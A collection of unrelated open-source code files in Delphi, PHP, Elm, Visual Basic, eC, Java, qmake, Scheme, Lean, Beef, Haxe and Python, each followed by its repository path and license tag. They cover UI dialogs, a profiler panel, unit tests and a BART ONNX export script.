Config.hInstance := HInstance; if IsIconic(Application.Handle) or (GetWindowLong(Application.Handle, GWL_STYLE) and WS_VISIBLE = 0) or (GetWindowLong(Application.Handle, GWL_EXSTYLE) and WS_EX_TOOLWINDOW <> 0) then Config.hWndParent := 0 else Config.hwndParent := hWnd; Config.dwCommonButtons := CommonButtons; Config.pszWindowTitle := Caption; Config.pszMainIcon := Icon; Config.pszMainInstruction := Instruction; Config.pszContent := Text; if VerificationText <> '' then Config.pszVerificationText := VerificationText; if ShieldButton <> 0 then begin Config.pfCallback := ShieldButtonCallback; Config.lpCallbackData := ShieldButton; end; ButtonItems := nil; try NButtonLabelsAvailable := Length(ButtonLabels); if NButtonLabelsAvailable <> 0 then begin ButtonItems := TTaskDialogButtons.Create(nil, TTaskDialogButtonItem); Config.dwFlags := Config.dwFlags or TDF_USE_COMMAND_LINKS; for I := 0 to NButtonLabelsAvailable-1 do begin ButtonItem := TTaskDialogButtonItem(ButtonItems.Add); ButtonItem.Caption := ButtonLabels[I]; ButtonItem.ModalResult := ButtonIDs[I]; end; Config.pButtons := ButtonItems.Buttons; Config.cButtons := ButtonItems.Count; end; TriggerMessageBoxCallbackFunc(TriggerMessageBoxCallbackFuncFlags, False); ActiveWindow := GetActiveWindow; WindowList := DisableTaskWindows(0); try Result := TaskDialogIndirectFunc(Config, @ModalResult, nil, pfVerificationFlagChecked) = S_OK; finally EnableTaskWindows(WindowList); SetActiveWindow(ActiveWindow); TriggerMessageBoxCallbackFunc(TriggerMessageBoxCallbackFuncFlags, True); end; finally ButtonItems.Free; end; end else Result := False; end; function TaskDialogMsgBox(const Icon, Instruction, Text, Caption: String; const Typ: TMsgBoxType; const Buttons: Cardinal; const ButtonLabels: array of String; const ShieldButton: Integer; const VerificationText: String = ''; const pfVerificationFlagChecked: PBOOL = nil): Integer; var IconP: PChar; TDCommonButtons: Cardinal; NButtonLabelsAvailable: Integer; ButtonIDs: array of Integer; begin if Icon <> '' then IconP := PChar(Icon) else begin case Typ of mbInformation: IconP := TD_INFORMATION_ICON; mbError: IconP := TD_WARNING_ICON; mbCriticalError: IconP := TD_ERROR_ICON; else IconP := nil; { No other TD_ constant available, MS recommends to use no icon for questions now and the old icon should only be used for help entries } end; end; NButtonLabelsAvailable := Length(ButtonLabels); case Buttons of MB_OK, MB_OKCANCEL: begin if NButtonLabelsAvailable = 0 then TDCommonButtons := TDCBF_OK_BUTTON else begin TDCommonButtons := 0; ButtonIDs := [IDOK]; end; if Buttons = MB_OKCANCEL then TDCommonButtons := TDCommonButtons or TDCBF_CANCEL_BUTTON; end; MB_YESNO, MB_YESNOCANCEL: begin if NButtonLabelsAvailable = 0 then TDCommonButtons := TDCBF_YES_BUTTON or TDCBF_NO_BUTTON else begin TDCommonButtons := 0; ButtonIDs := [IDYES, IDNO]; end; if Buttons = MB_YESNOCANCEL then TDCommonButtons := TDCommonButtons or TDCBF_CANCEL_BUTTON; end; MB_RETRYCANCEL: begin if NButtonLabelsAvailable = 0 then TDCommonButtons := TDCBF_RETRY_BUTTON else begin TDCommonButtons := 0; ButtonIDs := [IDRETRY]; end; TDCommonButtons := TDCommonButtons or TDCBF_CANCEL_BUTTON; end; MB_ABORTRETRYIGNORE: begin if NButtonLabelsAvailable = 0 then InternalError('TaskDialogMsgBox: Invalid ButtonLabels') else ButtonIDs := [IDRETRY, IDIGNORE, IDABORT]; { Notice the order, abort label must be last } TDCommonButtons := 0; end; else begin InternalError('TaskDialogMsgBox: Invalid Buttons'); TDCommonButtons := 0; { Silence compiler } end; end; if Length(ButtonIDs) <> NButtonLabelsAvailable then InternalError('TaskDialogMsgBox: Invalid ButtonLabels'); if not DoTaskDialog(Application.Handle, PChar(Instruction), PChar(Text), GetMessageBoxCaption(PChar(Caption), Typ), IconP, TDCommonButtons, ButtonLabels, ButtonIDs, ShieldButton, GetMessageBoxRightToLeft, IfThen(Typ in [mbError, mbCriticalError], MB_ICONSTOP, 0), Result, PChar(VerificationText), pfVerificationFlagChecked) then //note that MB_ICONEXCLAMATION (used by mbError) includes MB_ICONSTOP (used by mbCriticalError) Result := 0; end; procedure InitCommonControls; external comctl32 name 'InitCommonControls'; initialization InitCommonControls; TaskDialogIndirectFunc := GetProcAddress(GetModuleHandle(comctl32), 'TaskDialogIndirect'); end.
Pascal
5
Patriccollu/issrc
Projects/TaskDialog.pas
[ "FSFAP" ]
--TEST-- Bug #76348 (WSDL_CACHE_MEMORY causes Segmentation fault) --EXTENSIONS-- soap --SKIPIF-- <?php if (getenv("SKIP_ONLINE_TESTS")) die("skip online test"); ?> --FILE-- <?php $client = new SoapClient(__DIR__ . DIRECTORY_SEPARATOR . 'bug76348.wsdl', [ 'cache_wsdl' => WSDL_CACHE_MEMORY, ]); ?> ===DONE=== --EXPECT-- ===DONE===
PHP
3
NathanFreeman/php-src
ext/soap/tests/bugs/bug76348.phpt
[ "PHP-3.01" ]
{- Swagger Petstore This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters. OpenAPI spec version: 1.0.0 Contact: apiteam@swagger.io NOTE: This file is auto generated by the swagger code generator program. https://github.com/swagger-api/swagger-codegen.git Do not edit this file manually. -} module Data.Category exposing (Category, categoryDecoder, categoryEncoder) import Json.Decode as Decode exposing (Decoder) import Json.Decode.Pipeline exposing (decode, optional, required) import Json.Encode as Encode import Maybe exposing (map, withDefault) {- A category for a pet -} type alias Category = { id : Maybe Int , name : Maybe String } categoryDecoder : Decoder Category categoryDecoder = decode Category |> optional "id" (Decode.nullable Decode.int) Nothing |> optional "name" (Decode.nullable Decode.string) Nothing categoryEncoder : Category -> Encode.Value categoryEncoder model = Encode.object [ ( "id", withDefault Encode.null (map Encode.int model.id) ) , ( "name", withDefault Encode.null (map Encode.string model.name) ) ]
Elm
4
derBiggi/swagger-codegen
samples/client/petstore/elm/src/Data/Category.elm
[ "Apache-2.0" ]
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. ' vbc /t:module /out:Source1Module.netmodule /vbruntime- Source1.vb ' vbc /t:library /out:c1.dll /vbruntime- Source1.vb Public Class C1(Of T) Public Class C2(Of S) Public Function Goo() As C1(Of T).C2(Of S) Return Nothing End Function End Class End Class
Visual Basic
4
ffMathy/roslyn
src/Compilers/Test/Resources/Core/SymbolsTests/MultiTargeting/Source1.vb
[ "MIT" ]
int ShowDistance(int d, String units) { // printf("The distance is %d %s.\n", d, units); PrintLn("The distance is ", d, " ", units, "."); return d; } class VariablesApp : Application { void Main() { PrintLn("The function returned: ", ShowDistance(54, "feet")); system("pause"); } }
eC
4
N-eil/ecere-sdk
installer/coursework/Chapter 2 - Variables and Data Types/Lab2.4/lab2.ec
[ "BSD-3-Clause" ]
package com.baeldung.thymeleaf.enums; public class Widget { private String name; private Color color; public String getName() { return name; } public void setName(String name) { this.name = name; } public Color getColor() { return color; } public void setColor(Color color) { this.color = color; } @Override public String toString() { return "Widget [name=" + name + ", color=" + color + "]"; } }
Java
4
DBatOWL/tutorials
spring-web-modules/spring-thymeleaf-2/src/main/java/com/baeldung/thymeleaf/enums/Widget.java
[ "MIT" ]
HEADERS += \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/tensor.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/extents.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/strides.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/expression.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/ostream.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/multiplication.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/functions.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/algorithms.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/expression_evaluation.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/operators_comparison.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/operators_arithmetic.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/multi_index.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/multi_index_utility.hpp \ $${INCLUDE_DIR}/boost/numeric/ublas/tensor/index.hpp
QMake
3
cpp-pm/boost
libs/numeric/ublas/IDEs/qtcreator/include/tensor/tensor.pri
[ "BSL-1.0" ]
; inherits: html_tags (raw_text_expr) @none [ (special_block_keyword) (then) (as) ] @keyword [ "{" "}" ] @punctuation.bracket [ "#" ":" "/" "@" ] @tag.delimiter
Scheme
2
hmac/nvim-treesitter
queries/svelte/highlights.scm
[ "Apache-2.0" ]
example (p q r s : Prop) : p → q → r → s → (p ∧ q) ∧ (r ∧ s ∧ p) ∧ (p ∧ r ∧ q) := by intros; repeat { constructor }; assumption
Lean
3
ericrbg/lean
tests/lean/run/repeat_tac.lean
[ "Apache-2.0" ]
using Beefy.widgets; using Beefy.theme.dark; using Beefy.gfx; using System.Collections; using System; using System.Diagnostics; using Beefy.events; using System.Threading; using Beefy; namespace BeefPerf { class ProfilePanel : Widget { public class ProfileListViewItem : DarkVirtualListViewItem { public override void MouseDown(float x, float y, int32 btn, int32 btnCount) { ((ProfileListView)mListView).mProfilePanel.ItemClicked(this, btn, btnCount, x, y); } public override bool Selected { set { if (value) { int32 selectedIdx = mVirtualIdx; var profilePanel = ((ProfileListView)mListView).mProfilePanel; var result = profilePanel.mProfileCtx.mResults[selectedIdx]; DeleteAndNullify!(profilePanel.mPerfView.mProfileHiliteZone); profilePanel.mPerfView.mProfileHiliteZone = new PerfView.HiliteZone(result.mZoneNameId, result.mUnformattedName); //result.mName } base.Selected = value; //int32 selectedIdx = item.mVirtualIdx; //var foundEntry = mSearchState.mFoundEntries[selectedIdx]; } } } public class ProfileListView : DarkVirtualListView { public ProfilePanel mProfilePanel; public override void ChangeSort(DarkListView.SortType sortType) { base.ChangeSort(sortType); mSortType = sortType; mProfilePanel.RefreshList(); } protected override ListViewItem CreateListViewItem() { return new ProfileListViewItem(); } public override void PopulateVirtualItem(DarkVirtualListViewItem listViewItem) { base.PopulateVirtualItem(listViewItem); var client = mProfilePanel.mPerfView.mSession; var perfInfo = mProfilePanel.mProfileCtx.mResults[listViewItem.mVirtualIdx]; listViewItem.Label = perfInfo.mName; var subItem = listViewItem.CreateSubItem(1); subItem.mLabel = new String(); subItem.mLabel.AppendF("{0}", perfInfo.mCount); subItem = listViewItem.CreateSubItem(2); subItem.mLabel = new String(); client.ElapsedTicksToStr(perfInfo.mTicks, subItem.mLabel); subItem = listViewItem.CreateSubItem(3); subItem.mLabel = new String(); client.ElapsedTicksToStr(perfInfo.mTicks - perfInfo.mChildTicks, subItem.mLabel); } public override void DrawAll(Graphics g) { base.DrawAll(g); if (((mProfilePanel.mProfileCtx != null) && (!mProfilePanel.mProfileCtx.mDone)) || (mProfilePanel.mSorting)) { using (g.PushColor(0xA0595959)) g.FillRect(0, 20, mWidth - 20, mHeight - 20); BPUtils.DrawWait(g, mWidth / 2, mHeight / 2); } } public override void KeyDown(KeyCode keyCode, bool isRepeat) { base.KeyDown(keyCode, isRepeat); if (keyCode == .Escape) { mProfilePanel.RemoveFocus(); } } public void GetSummaryString(String str) { str.Append("Name____________________________________Count_______Total________Self\n"); for (var entry in mProfilePanel.mProfileCtx.mResults) { str.Append(entry.mName); str.Append(' ', Math.Max(38 - entry.mName.Length, 1)); var entryStr = scope String(); entry.mCount.ToString(entryStr); str.Append(' ', Math.Max(7 - entryStr.Length, 1)); str.Append(entryStr); entryStr.Clear(); mProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(entry.mTicks, entryStr); str.Append(' ', Math.Max(12 - entryStr.Length, 1)); str.Append(entryStr); entryStr.Clear(); mProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(entry.mTicks - entry.mChildTicks, entryStr); str.Append(' ', Math.Max(12 - entryStr.Length, 1)); str.Append(entryStr); str.Append('\n'); } str.Append("---------------------------------------------------------------------\n"); str.Append("Total Time: "); mProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(mProfilePanel.mSelection.mTickEnd - mProfilePanel.mSelection.mTickStart, str); } public void AddStaticMenu(Menu menu) { var menuItem = menu.AddItem("Copy to Clipboard"); menuItem.mOnMenuItemSelected.Add(new (item) => { String str = scope String(); GetSummaryString(str); gApp.SetClipboardText(str); //Debug.WriteLine(str); }); } public override void MouseDown(float x, float y, int32 btn, int32 btnCount) { base.MouseDown(x, y, btn, btnCount); GetRoot().SelectItemExclusively(null); if (btn == 1) { Menu menu = new Menu(); AddStaticMenu(menu); MenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu); menuWidget.Init(this, x, y); } } } DarkCheckBox mFormatCheckbox; ProfileListView mListView; DarkButton mGetButton; PerfView mPerfView; BPSelection mSelection; bool mSelectionDirty; int64 mActiveLastCurTick; ProfileContext mProfileCtx ~ delete _; public WaitEvent mSortDoneHandle = new WaitEvent() ~ delete _; public bool mSorting; public this() { mFormatCheckbox = new DarkCheckBox(); mFormatCheckbox.Checked = true; mFormatCheckbox.Label = "Format Strings"; mFormatCheckbox.mOnMouseClick.Add(new [&] (evt) => { mSelectionDirty = true; } ); AddWidget(mFormatCheckbox); mListView = new ProfileListView(); mListView.mProfilePanel = this; mListView.mOnLostFocus.Add(new (evt) => { RemoveFocus(); }); mListView.mSortType.mColumn = 2; mListView.mSortType.mReverse = true; AddWidget(mListView); mListView.AddColumn(200, "Name"); mListView.AddColumn(100, "Count"); mListView.AddColumn(150, "Total"); mListView.AddColumn(150, "Self"); mListView.InitScrollbars(false, true); } public ~this() { FinishSorting(); } void FinishSorting() { if (mSorting) { mSortDoneHandle.WaitFor(); mSorting = false; mSortDoneHandle.Reset(); } } public void RemoveFocus() { mListView.GetRoot().SelectItemExclusively(null); if (mPerfView != null) DeleteAndNullify!(mPerfView.mProfileHiliteZone); } public override void Resize(float x, float y, float width, float height) { base.Resize(x, y, width, height); mListView.ResizeClamped(0, 20, width, height - 20); mFormatCheckbox.Resize(0, 0, 20, 20); } public override void Draw(Graphics g) { base.Draw(g); g.SetFont(DarkTheme.sDarkTheme.mSmallFont); if (mProfileCtx != null) { String str = scope String(); str.Append("Total Time: "); mProfileCtx.mSession.ElapsedTicksToStr(mSelection.mTickEnd - mSelection.mTickStart, str); g.DrawString(str, 150, 0); } //g.DrawBox(DarkTheme.sDarkTheme.GetImage(DarkTheme.ImageIdx.Bkg), 0, 0, mWidth, mHeight); } public override void DrawAll(Graphics g) { base.DrawAll(g); } public void Show(PerfView perfView, BPSelection selection) { Debug.Assert(perfView != null); mPerfView = perfView; mSelection = selection; mSelectionDirty = true; } void GetData() { mListView.GetRoot().Clear(); } struct PerfInfo { public String mName; public int32 mCount; public int64 mTicks; public int64 mChildTicks; public int32 mStackCount; // Number of times this entry appears in entryStack public int32 mZoneNameId; public String mUnformattedName; } struct BPPerfEntry { public int32 mZoneNameId; public int64 mTickStart; public int64 mChildTicks; public int32 mParamsReadPos; public PerfInfo* mPerfInfo; } class ProfileContext { BumpAllocator mAlloc = new BumpAllocator() ~ delete _; public BpSession mSession; public Dictionary<String, PerfInfo*> mPerfDict = new .() ~ delete _; String mTempStr = new String() ~ delete _; String mTempDynStr = new String() ~ delete _; public List<PerfInfo*> mResults = new List<PerfInfo*>() ~ delete _; public List<PerfInfo*> mSortingResults = new List<PerfInfo*>() ~ delete _; public int32 mStreamDataIdx; public bool mDone; public bool mFormatStrings; public bool mHasSelectionEndChanged; public PerfInfo* GetPerfInfo(BPPerfEntry entry, BPStateContext stateCtx) { int32 paramsSize; String str; if (entry.mZoneNameId < 0) { int32 nameLen = -entry.mZoneNameId; str = mTempDynStr; str.Reference((char8*)stateCtx.mReadStart + entry.mParamsReadPos - nameLen, nameLen, 0); paramsSize = -1; } else { let zoneName = mSession.mZoneNames[entry.mZoneNameId]; str = zoneName.mName; paramsSize = zoneName.mParamsSize; } //bool dbgStr = str == "DeepStack0 %d"; String unformattedStr = str; if ((paramsSize != 0) && (mFormatStrings)) { mTempStr.Clear(); stateCtx.FormatStr(entry.mParamsReadPos, paramsSize, str, mTempStr); str = mTempStr; } String* keyPtr; PerfInfo* perfInfo; PerfInfo** perfInfoPtr; if (mPerfDict.TryAdd(str, out keyPtr, out perfInfoPtr)) { perfInfo = new:mAlloc PerfInfo(); *perfInfoPtr = perfInfo; if (str == (Object)mTempStr) { String heapStr = new:mAlloc String(str); *keyPtr = heapStr; perfInfo.mName = heapStr; } else perfInfo.mName = str; if ((unformattedStr == (Object)mTempDynStr) && (unformattedStr != (Object)mTempStr)) { String heapStr = new:mAlloc String(unformattedStr); perfInfo.mUnformattedName = heapStr; } else perfInfo.mUnformattedName = unformattedStr; perfInfo.mZoneNameId = entry.mZoneNameId; } else { perfInfo = *perfInfoPtr; if ((entry.mZoneNameId > 0) && (perfInfo.mZoneNameId < 0)) { // Set to a valid zoneNameId if the inserting entry was a dynamic string but this one isn't perfInfo.mZoneNameId = entry.mZoneNameId; } } return perfInfo; } } void UpdateProfileCtx() { Stopwatch stopwatch = scope Stopwatch(); stopwatch.Start(); var client = mPerfView.mSession; var thread = client.mThreads[mSelection.mThreadIdx]; bool isRecording = false; bool isFirstDrawn = mProfileCtx.mStreamDataIdx == 0; bool isManualSelection = mSelection.mDepth == -1; StreamLoop: while (mProfileCtx.mStreamDataIdx < thread.mStreamDataList.Count) { int streamDataListIdx = mProfileCtx.mStreamDataIdx++; var streamData = thread.mStreamDataList[streamDataListIdx]; if ((streamData.mSplitTick > 0) && (streamData.mSplitTick < mSelection.mTickStart)) continue; // All data is to the left BPStateContext stateCtx = scope BPStateContext(client, streamData); List<BPPerfEntry> entryStack = scope List<BPPerfEntry>(); int32 stackDepth = 0; CmdLoop: while (true) { switch (stateCtx.GetNextEvent()) { case let .Enter(startTick, strIdx): int stackPos = stackDepth++; if (((mSelection.mDepth == -1) && (startTick >= mSelection.mTickStart)) || ((startTick == mSelection.mTickStart) && (stackPos == mSelection.mDepth))) { isRecording = true; } if (isRecording) { BPPerfEntry entry; entry.mTickStart = startTick; entry.mZoneNameId = strIdx; entry.mChildTicks = 0; //stateCtx.MoveToParamData(); entry.mParamsReadPos = stateCtx.ReadPos; entry.mPerfInfo = null; entry.mPerfInfo = mProfileCtx.GetPerfInfo(entry, stateCtx); entry.mPerfInfo.mStackCount++; entryStack.Add(entry); } case let .Leave(endTick): stackDepth--; if (isRecording) { let entry = entryStack.PopBack(); entry.mPerfInfo.mStackCount--; if ((entry.mTickStart == mSelection.mTickStart) && (stackDepth == mSelection.mDepth)) { if (client.mCurTick == endTick) { mProfileCtx.mHasSelectionEndChanged = true; mSelection.mTickEnd = endTick; } } int64 ticks = endTick - entry.mTickStart; if (isManualSelection) { int64 tickStart = Math.Max(entry.mTickStart, mSelection.mTickStart); int64 tickEnd = Math.Min(endTick, mSelection.mTickEnd); ticks = tickEnd - tickStart; if (ticks <= 0) continue; } //PerfInfo* perfInfo = mProfileCtx.GetPerfInfo(entry, stateCtx); PerfInfo* perfInfo = entry.mPerfInfo; bool isOld = ((entry.mTickStart <= streamData.mStartTick) && (stackDepth < stateCtx.mSplitCarryoverCount)); // Is this a duplicate spanned entry? If so, we don't add it's stats but we still // must process it as a parent to keep track of mChildTicks for new children if ((isFirstDrawn) || (!isOld)) { perfInfo.mCount++; if (perfInfo.mStackCount != 0) { // Total time is already handled by outer scope } else perfInfo.mTicks += ticks; } if (entryStack.Count > 0) { var prevEntry = entryStack[entryStack.Count - 1]; //bool prevIsOld = ((prevEntry.mTickStart <= streamData.mStartTick) && (stackDepth - 1 < stateCtx.mSplitCarryoverCount)); //if ((isFirstDrawn) || (!prevIsOld)) if (!isOld) { //PerfInfo* prevPerfInfo = mProfileCtx.GetPerfInfo(prevEntry, stateCtx); PerfInfo* prevPerfInfo = prevEntry.mPerfInfo; prevPerfInfo.mChildTicks += ticks; if (perfInfo.mStackCount != 0) { // We have an instance of ourselves on an outer scope, so time we thought was child time actually isn't perfInfo.mChildTicks -= ticks; } } } if (isManualSelection) { if ((stackDepth == 0) && (endTick >= mSelection.mTickEnd)) { if (endTick <= streamData.mSplitTick) break StreamLoop; } //isRecording = false; } if (stackDepth <= mSelection.mDepth) { if (endTick <= streamData.mSplitTick) break StreamLoop; isRecording = false; } } case .EndOfStream: break CmdLoop; default: } } isFirstDrawn = false; if (stopwatch.ElapsedMilliseconds > (int)(gApp.mTimePerFrame * 1000)) { return; } } mProfileCtx.mDone = true; for (var value in mProfileCtx.mPerfDict.Keys) { var perfInfo = @value.Value; Debug.Assert(perfInfo.mName != null); mProfileCtx.mResults.Add(perfInfo); } RefreshList(); } void RefreshData() { mListView.GetRoot().Clear(); if (mPerfView == null) return; var session = mPerfView.mSession; delete mProfileCtx; mProfileCtx = new ProfileContext(); mProfileCtx.mFormatStrings = mFormatCheckbox.Checked; mProfileCtx.mSession = session; } public void ItemClicked(ProfileListViewItem clickedItem, int32 btn, int32 btnCount, float x, float y) { if (clickedItem.mParentItem == null) return; ProfileListViewItem item = (ProfileListViewItem)clickedItem.GetSubItem(0); mListView.GetRoot().SelectItemExclusively(item); mListView.SetFocus(); if (btn == 1) { Menu menu = new Menu(); var menuItem = menu.AddItem("Find Instances"); menuItem.mOnMenuItemSelected.Add(new (selectedItem) => { var find = gApp.mFindPanel; var str = scope String(); var client = mPerfView.mSession; var thread = client.mThreads[mSelection.mThreadIdx]; str.Clear(); var perfInfo = mProfileCtx.mResults[item.mVirtualIdx]; str.Append('='); str.Append(perfInfo.mName); if (str.Contains(' ')) { str.Insert(1, '\"'); str.Append('"'); } if (mSelection.mDepth > 0) { str.Append(" Depth>"); mSelection.mDepth.ToString(str); } find.mEntryEdit.SetText(str); str.Clear(); str.Append('='); thread.GetName(str); if (str.Contains(' ')) { str.Insert(1, '\"'); str.Append('"'); } find.mTrackEdit.mEditWidget.SetText(str); str.Clear(); client.TicksToStr(mSelection.mTickStart, str); find.mTimeFromEdit.mEditWidget.SetText(str); str.Clear(); client.TicksToStr(mSelection.mTickEnd, str); find.mTimeToEdit.mEditWidget.SetText(str); find.mFormatCheckbox.Checked = true; find.mZonesCheckbox.Checked = true; find.mEventsCheckbox.Checked = false; find.mNeedsRestartSearch = true; }); menu.AddItem(); mListView.AddStaticMenu(menu); MenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu); menuWidget.Init(clickedItem, x, y); } } public void ValueClicked(MouseEvent theEvent) { DarkVirtualListViewItem clickedItem = (DarkVirtualListViewItem)theEvent.mSender; DarkVirtualListViewItem item = (DarkVirtualListViewItem)clickedItem.GetSubItem(0); mListView.GetRoot().SelectItemExclusively(item); mListView.SetFocus(); if ((theEvent.mBtn == 0) && (theEvent.mBtnCount > 1)) { for (int32 childIdx = 1; childIdx < mListView.GetRoot().GetChildCount(); childIdx++) { var checkListViewItem = mListView.GetRoot().GetChildAtIndex(childIdx); checkListViewItem.IconImage = null; } /*int32 selectedIdx = item.mVirtualIdx; var foundEntry = mSearchState.mFoundEntries[selectedIdx]; mPerfView.ZoomTo(foundEntry.mStartTick, foundEntry.mEndTick); BPSelection selection; selection.mStartTick = foundEntry.mStartTick; selection.mEndTick = foundEntry.mEndTick; selection.mDepth = foundEntry.mDepth; selection.mThreadIdx = foundEntry.mTrackIdx; mPerfView.mSelection = selection;*/ } if (theEvent.mBtn == 1) { Menu menu = new Menu(); #unwarn var menuItem = menu.AddItem("Set Track Color ..."); MenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu); menuWidget.Init(this, theEvent.mX, theEvent.mY); } } int EntryCompare(PerfInfo* lhs, PerfInfo* rhs) { int64 result = 0; if (mListView.mSortType.mColumn == 0) { result = String.Compare(lhs.mName, rhs.mName, true); if (result == 0) result = lhs.mTicks - rhs.mTicks; } else if (mListView.mSortType.mColumn == 1) { result = lhs.mCount - rhs.mCount; } else if (mListView.mSortType.mColumn == 2) { result = lhs.mTicks - rhs.mTicks; } else { result = (lhs.mTicks - lhs.mChildTicks) - (rhs.mTicks - rhs.mChildTicks); } if (mListView.mSortType.mReverse) result = -result; return (int)result; } void SortList() { mProfileCtx.mSortingResults.Sort(scope => EntryCompare); mSortDoneHandle.Set(true); } void CheckSorting(int32 waitMS = 0) { if (mSorting) { if (mSortDoneHandle.WaitFor(waitMS)) { mSorting = false; mSortDoneHandle.Reset(); Debug.Assert(mProfileCtx.mResults.Count == mProfileCtx.mSortingResults.Count); Swap!(mProfileCtx.mResults, mProfileCtx.mSortingResults); mListView.GetRoot().Clear(); if (mProfileCtx.mResults.Count > 0) { var listViewItem = (DarkVirtualListViewItem)mListView.GetRoot().CreateChildItem(); listViewItem.mVirtualHeadItem = listViewItem; listViewItem.mVirtualCount = (int32)mProfileCtx.mResults.Count; mListView.PopulateVirtualItem(listViewItem); } } } } void RefreshList() { if (mPerfView == null) { mListView.GetRoot().Clear(); return; } FinishSorting(); mSorting = true; mProfileCtx.mSortingResults.Clear(); mProfileCtx.mSortingResults.GrowUnitialized(mProfileCtx.mResults.Count); for (int i < mProfileCtx.mResults.Count) mProfileCtx.mSortingResults[i] = mProfileCtx.mResults[i]; ThreadPool.QueueUserWorkItem(new => SortList); CheckSorting(20); /*for (var strId in iList) { var childItem = mListView.GetRoot().CreateChildItem(); childItem.Label = strId; var perfInfo = ref perfDict[strId]; var subItem = childItem.CreateSubItem(1); subItem.mLabel = new String(); subItem.mLabel.FormatInto("{0}", perfInfo.mCount); subItem.mMouseDownHandler.Add(new => ValueClicked); subItem = childItem.CreateSubItem(2); subItem.mLabel = new String(); client.ElapsedTicksToStr(perfInfo.mTicks, subItem.mLabel); subItem.mMouseDownHandler.Add(new => ValueClicked); subItem = childItem.CreateSubItem(3); subItem.mLabel = new String(); client.ElapsedTicksToStr(perfInfo.mTicks - perfInfo.mChildTicks, subItem.mLabel); subItem.mMouseDownHandler.Add(new => ValueClicked); }*/ } public override void Update() { base.Update(); if (mPerfView == null) return; // Were we awaiting more data to refresh var client = mPerfView.mSession; if ((mActiveLastCurTick != 0) && (mActiveLastCurTick != client.mCurTick)) { mActiveLastCurTick = 0; mSelectionDirty = true; } if (mSorting) { CheckSorting(); } else { if ((mSelectionDirty) && (gApp.mIsUpdateBatchStart) && ((mProfileCtx == null) || (mProfileCtx.mDone))) { mSelectionDirty = false; RefreshData(); } if ((mProfileCtx != null) && (!mProfileCtx.mDone)) { if (gApp.mIsUpdateBatchStart) UpdateProfileCtx(); if (mProfileCtx.mDone) { if (mProfileCtx.mHasSelectionEndChanged) { mActiveLastCurTick = client.mCurTick; } else mActiveLastCurTick = 0; } } } } public void Clear() { mListView.GetRoot().Clear(); DeleteAndNullify!(mProfileCtx); mActiveLastCurTick = 0; mPerfView = null; } } }
Brainfuck
4
gammy55/linguist
samples/Beef/ProfilePanel.bf
[ "MIT" ]
package unit.issues; import unit.Test; class Issue3084 extends Test { #if java function test() { for (i in 0...40) { var m = new sys.thread.Mutex(); sys.thread.Thread.create(function():Void { m.acquire(); Sys.sleep(0.01); m.release(); }); sys.thread.Thread.create(function():Void { m.acquire(); Sys.sleep(0.01); m.release(); }); Sys.sleep(0.01); m.acquire(); Sys.sleep(0.01); m.release(); } noAssert(); } #end }
Haxe
3
Alan-love/haxe
tests/unit/src/unit/issues/Issue3084.hx
[ "MIT" ]
#!/usr/bin/env python # coding=utf-8 # Copyright The HuggingFace Team and The HuggingFace Inc. team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ """ import argparse import logging import os import sys from datetime import datetime import numpy as np import torch import onnxruntime import transformers from bart_onnx.generation_onnx import BARTBeamSearchGenerator from bart_onnx.reduce_onnx_size import remove_dup_initializers from transformers import BartForConditionalGeneration, BartTokenizer logging.basicConfig( format="%(asctime)s | %(levelname)s | %(name)s | [%(filename)s:%(lineno)d] %(message)s", datefmt="%Y-%m-%d %H:%M:%S", level=os.environ.get("LOGLEVEL", "INFO").upper(), stream=sys.stdout, ) logger = logging.getLogger(__name__) model_dict = {"facebook/bart-base": BartForConditionalGeneration} tokenizer_dict = {"facebook/bart-base": BartTokenizer} def parse_args(): parser = argparse.ArgumentParser(description="Finetune a transformers model on a text classification task") parser.add_argument( "--validation_file", type=str, default=None, help="A csv or a json file containing the validation data." ) parser.add_argument( "--max_length", type=int, default=5, help=("The maximum total input sequence length after tokenization."), ) parser.add_argument( "--num_beams", type=int, default=None, help="Number of beams to use for evaluation. This argument will be " "passed to ``model.generate``, which is used during ``evaluate`` and ``predict``.", ) parser.add_argument( "--model_name_or_path", type=str, help="Path to pretrained model or model identifier from huggingface.co/models.", required=True, ) parser.add_argument( "--config_name", type=str, default=None, help="Pretrained config name or path if not the same as model_name", ) parser.add_argument( "--device", type=str, default="cpu", help="Device where the model will be run", ) parser.add_argument("--output_file_path", type=str, default=None, help="Where to store the final ONNX file.") args = parser.parse_args() return args def load_model_tokenizer(model_name, device="cpu"): huggingface_model = model_dict[model_name].from_pretrained(model_name).to(device) tokenizer = tokenizer_dict[model_name].from_pretrained(model_name) if model_name in ["facebook/bart-base"]: huggingface_model.config.no_repeat_ngram_size = 0 huggingface_model.config.forced_bos_token_id = None huggingface_model.config.min_length = 0 return huggingface_model, tokenizer def export_and_validate_model(model, tokenizer, onnx_file_path, 